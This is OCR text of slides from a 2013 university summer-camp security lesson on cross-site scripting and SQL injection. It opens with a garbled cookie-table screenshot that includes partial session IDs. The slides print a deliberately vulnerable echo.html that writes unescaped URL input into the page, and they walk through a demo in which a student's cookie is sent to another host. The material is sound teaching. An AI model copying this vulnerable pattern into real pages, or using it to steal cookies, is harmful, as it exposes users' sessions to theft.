821 mozilla.org 0 0 _utma  |164683759.1730756665.13... [ addons.mozilla.org / 1425004697 1361932... |13619326F
10— Lared —fe—io froe—— ;
[ 809 ed D D e 20 ed o0 03466 519 51930148
807 jmrl.org 0 [ _utmb [ ZE58738T3 21056569800 | aries, mrl.org I 1361371770 1361369... |13613699¢
795 jmirl.org 0 0 _utmb  |171305723.1.10.1361369963 | jmrl.org / 1361371763 1361369... |13613699€¢
730 mitbbs.com 0 0 COUNTRY |us www.mitbbs.com ! 1361578125 1361218... |13612181Z
729 mathtag.com 0 0 uuid 4a0f5122-8a3c-4016-8d27... | .mathtag.com / 1392754120 1361218... |136121817
720 questionmarket.c... |0 0 cs1 1009850-1-2 .questionmarket.com ! 1397216823 1361216... |136121682
21 questionmarket.c... |0 0 [E5 1009850-L3C'N-0 .questionmarket.com ! 1397216823 1361216... |136121682
631 fihub.com 0 0 b "afBlz2l_Q==AETT3TAA.. |.rfihub.com / 1438976571 1361216... |13612165¢
629 turn.cem 0 0 w 1 furn.com / 1376768583 1361216... [13612165¢
628 turn.com 0 0 rds undefined %7 Cundefined... [ turn.com ! 1376768583 1361216... [13612165¢
627 turn.com 0 0 s undefined %7 Cundefined... | turn.com / 1376768583 1361216... |13612165¢
617 turn.cem 0 0 fic T8vF1503n0yErXo76Go_... |.turn.com / 1376768582 1361216... |13612165¢
616 turn.com 0 0 uid 2836835480227592996 turn.com / 1376768582 1361216... |13612165¢
605 atdmt.com 0 0 MUID 25F8913F985E6CEF152295.., | atdmt.com / 1424217613 1361216.. |13612165(
604 atdmt.com 0 0 AN002 1361216491-10861324 .atdmt.com / 1424217613 1361216... |13612165(
645 adnxs.com 0 0 anj Kfu=8fG3x=Cung)0s]#%2L... | .adnxs.com / 1368992584 1361216... [13612165(
602 adnxs.com 0 1] icu ChII-9glEACYASABKAEW.., |.adnxs.com / 1358392502 1361216.. |13612165(
643 adnxs.com 0 0 uuid2 7238849057106324589 .adnxs.com / 1358992584 1361216... |13612165(
644 adnxs.com 0 0 sess 1 .adnxs.com / 1361302984 1361216... |13612165(
581 doubleclick.net 0 0 _drt_ NO_DATA .doubleclick.net / 1361259664 1361218, |13612164¢
580 mitbbs.com 0 0 PHPSESS... | d61288800f37bf5e77a8ba... |www.mitbbs.com / 1361220065 1361218... |13612164¢€
789 mitbbs.com 0 0 _utmb  |200988082.25.10.1361216... |.mitbbs.com / 1361220070 1361218... |13612164F
406 intermundomedia... |0 1} CSList 1121935/1091418,0/0,0/0,... [ .intermundomedia.com ! 1368626698 1360850... |13608506¢
405 intermundomedia... |0 0 PreflD 14-1328429852 .intermundomedia.com / 1423965898 1360850... |136085065
404 adsrvr.org 0 0 TDID 9f6i0e723-9bdb-4c74-b75... |.adsrvr.org / 1392386699 1360850... |13608506¢
376 scorecardresearch.., |0 ] UIDR 1360850609 scorecardresearch.com / 1423058614 1261216.. |136085061
375 scorecardresearch... |0 0 uID 13ba%bad-69.68.184.232-... |.scorecardresearch.com / 1423058614 1361216... |136085061
637 fihub.com 0 0 =1 1361216571882 fihub.com / 1438976571 1361216... |136085061
636 fihub.com 0 0 t 1361216571881 fihub.com ! 1438976571 1361216... |136085061
635 fihub.com 0 0 al 1CAESEGExQnZiBecsgl-4u... | fihub.com / 1438976571 1361216... |136085061
346 serving-sys.com 0 0 u2 daal316d-32a7-4b45-b24... | serving-sys.com ! 1368608613 1360850... |136085061 _
:.Pl = = = == - = 2 amcncnncan e e
4 1 | »
%&Um.mﬁ I"Beghdd18b2 077  Excusive Number of Rows Returned: 95 ET:5ms
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Exercise 2: What is Next?

e Exercise 2: XSS

A Open a new tab in your web browser to visit
http://upe.cs.jmu.edu/activateecho.html

e This link may come from an Email

®Open a new tab in your web browser to visit
http://crypto.cs.jmu.edu/cookies.txt

e Can you find your cookie there?

{ Your cookie is stolen! J

e How come? What went wrong?

2013 Summer Camp
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users.cs.jmu.edu

I MSS: How did it happen?

Cookie for [

&\\
7

2

‘In @, the page contains a
malicious link;
g There is code in

2013 Summer Camp

setcookie.html

echo.html

()

users.cs.mu.edu

(T

——

crypto.cs.jmu.edu
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users.cs.jmu.edu

I MSS: How did it happen?

Cookie for [

setcookie.html

c—n ¢—3

echo.html

g

users.cs.mu.edu

Internet
1
- . —— s
In @, you click the link crypto.cs.jmu.edu

and the codeOwas sent
. tousers.cs.jmu.edu

2013 Summer Camp
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users.cs.jmu.edu

I MSS: How did it happen?

Cookie for [

setcookie.html

[
2

m j
I

echo.html

T

9 users.cs.mu.edu

I |

CIn @, the malicious code crypto.cs.jmu.edu

(Owas echoed back to your

g web browser i
75
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J MSS: How did it happen?

Cookie for [

@s.jmu.edu
®

setcookie.html

echo.html

T

e users.cs.jmu.edu

I |

: crypto.cs.jmu.edu

Your browser thinks O)is
from users.cs.jmu.edu and
allows it to access the cookie

\_

2013 Summer Camp
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users.cs.jmu.edu

J ———~Cross-site Scripting (XSS)

setcookie.html

[y,

echo.html

g

(3) users.cs.jmu.edu

I |

crypto.cs.jmu.edu
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Cookie for
users.cs.jmu.edu

:D,ﬂ echo.html ]

.CS.jmu.edu

internet

—

crypto.cs.jmu.edu

because of echo.html

2013 Summer Camp

[ This attack works
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More Details: the Vulnerable Page on
users.cs.jmu.edu (1/2)

e https://users.cs.jmu.edu/wangxx/web/tools/echo.html

e <html>
<head>
<script type="text/javascript">
function querySt() {
document.S_GET = [];
var urlHalves = String(document.location).split('?', 99);
document.write(unescape(urlHalves[1]));
document.write("?");
document.write(unescape(urlHalves[2]));
}
</script>
<title>Group 4 Echo</title>
</head>
<body onload="querySt()">
</body>
</html>

e |t looks harmless. Just echo what is being sent to it
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More Details: the Vulnerable Page on
users.cs.jmu.edu (2/2)

* [t may echo any incoming code too
— Malicious code!

 This code will be treated by your web browser
as coming from users.cs.mu.edu
— The same source principle

e The code will be able to retrieve cookies for
users.cs.jmu.edu

Solution? Check your web page
code to remove such dumb code

2013 Summer Camp
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Exercise 2: XSS Summary

The victim server: users.cs.jmu.edu (site A)
A malicious site: crypto.cs.jmu.edu (site B)

Site B wants to steal a web cookie set for site
A

How does this happen?
Site A is clueless



Summary

e Exercise 1: SQL injection
e Exercise 2: Cross-site Scripting (XSS)



